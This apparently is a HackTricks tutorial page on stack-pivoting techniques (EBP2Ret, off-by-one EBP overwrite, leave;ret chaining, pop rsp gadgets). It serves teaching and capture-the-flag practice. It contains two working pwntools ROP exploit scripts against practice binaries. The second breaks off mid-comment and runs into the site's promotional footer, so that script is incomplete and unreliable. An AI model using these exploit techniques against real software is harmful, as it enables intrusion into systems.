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</details>
## Basic Information
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the `leave; ret` instruction sequence.
As a reminder, **`leave`** basically means:
```
movl %ebp, %esp
popl %ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, effectively making it point to your shellcode. When the `ret` instruction is executed, control is transferred to your shellcode.
#### Exploit Construction
First you need to **inject your shellcode** somewhere in an executable memory and **get the address**, or get the address to a valid [**ONE\_GADGET**](https://github.com/david942j/one\_gadget), or make the ESP point to a place with the address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"`.
Then, create a padding and **compromise the EBP** with the `address to the shellcode/one_gadget - 4`. It must be `-4` because of the `pop`. Then, the `ESP` will be pointing to our desired address and and the `ret` will be executed.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the shellcode's address must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.
### **EBP Chaining**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
* **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
* **`system()`** -> Called by `ret`
* **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
* **`&("/bin/sh")`**-> Param fro `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Tbh, this is like a [ret2lib](ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## Other ways to control RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
